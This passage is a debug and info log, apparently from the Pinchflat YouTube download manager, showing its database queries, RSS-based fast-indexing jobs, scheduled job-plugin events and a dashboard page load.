m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:24:55.982 [debug] QUERY OK source="media_items" db=1.8ms idle=587.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:24:55.983 [debug] QUERY OK source="tasks" db=0.0ms idle=589.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [476, 3, ~U[2026-07-24 00:24:55Z], ~U[2026-07-24 00:24:55Z]] 00:24:55.983 [info] {"args":{"id":3},"id":473,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":590003,"event":"job:stop","queue_time":410972,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:25:00.755 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:25.017 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:55.018 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.756 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:25.019 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:55.020 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.757 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:25.021 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:55.022 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.757 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:25.023 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:55.024 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.759 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:25.025 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:33.455 [info] GET / 00:29:33.455 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:29:33.456 [debug] QUERY OK source="settings" db=0.1ms idle=772.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:29:33.456 [debug] QUERY OK source="media_profiles" db=0.0ms idle=455.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:29:33.456 [debug] QUERY OK source="sources" db=0.0ms idle=455.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:29:33.459 [debug] QUERY OK source="media_items" db=3.1ms idle=455.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:29:33.459 [debug] QUERY OK source="media_items" db=0.2ms idle=458.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:29:33.459 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:29:33.460 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:29:33.460 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:29:33.460 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:29:33.462 [debug] QUERY OK source="media_items" db=1.5ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:29:33.462 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 00:29:33.469 [debug] QUERY OK source="media_items" db=6.5ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:29:33.473 [debug] QUERY OK source="media_items" db=3.4ms idle=9.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:29:33.473 [debug] QUERY OK source="tasks" db=0.1ms idle=12.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:29:33.473 [info] Sent 200 in 18ms 00:29:55.026 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.760 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:25.027 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:40.764 [info] {"args":{"id":1},"id":474,"meta":{},"system_time":1784853040764802308,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:30:40.765 [info] {"args":{"id":2},"id":475,"meta":{},"system_time":1784853040764872426,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:30:40.766 [debug] QUERY OK source="sources" db=1.3ms idle=1764.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:30:40.766 [debug] QUERY OK source="sources" db=1.3ms idle=1764.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:30:40.767 [debug] QUERY OK source="settings" db=0.2ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:30:40.767 [debug] QUERY OK source="settings" db=0.4ms idle=1009.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:30:40.767 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:30:40.767 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:30:40.767 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:30:40.767 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:30:40.767 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:30:40.767 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:30:40.899 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:30:40.899 [debug] QUERY OK source="media_items" db=0.1ms idle=132.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:30:40.900 [debug] QUERY OK source="media_items" db=0.2ms idle=132.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:30:40.900 [debug] QUERY OK source="tasks" db=0.0ms idle=133.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [477, 2, ~U[2026-07-24 00:30:40Z], ~U[2026-07-24 00:30:40Z]] 00:30:40.900 [info] {"args":{"id":2},"id":475,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":135997,"event":"job:stop","queue_time":476862,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:30:41.362 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:30:41.363 [debug] QUERY OK source="media_items" db=0.3ms idle=462.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:30:41.365 [debug] QUERY OK source="media_items" db=2.1ms idle=462.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:30:41.366 [debug] QUERY OK source="tasks" db=0.0ms idle=459.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [478, 1, ~U[2026-07-24 00:30:41Z], ~U[2026-07-24 00:30:41Z]] 00:30:41.366 [info] {"args":{"id":1},"id":474,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":601557,"event":"job:stop","queue_time":811928,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:30:55.028 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.761 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:25.029 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:55.030 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.762 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:25.031 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:55.032 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.763 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:25.033 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:55.034 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.764 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:25.035 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:55.036 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:56.032 [info] {"args":{"id":3},"id":476,"meta":{},"system_time":1784853296032167343,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:34:56.032 [debug] QUERY OK source="sources" db=0.0ms idle=1031.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:34:56.032 [debug] QUERY OK source="settings" db=0.0ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:34:56.032 [debug] QUERY OK source="media_profiles" db=0.0ms idle=996.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:34:56.032 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", 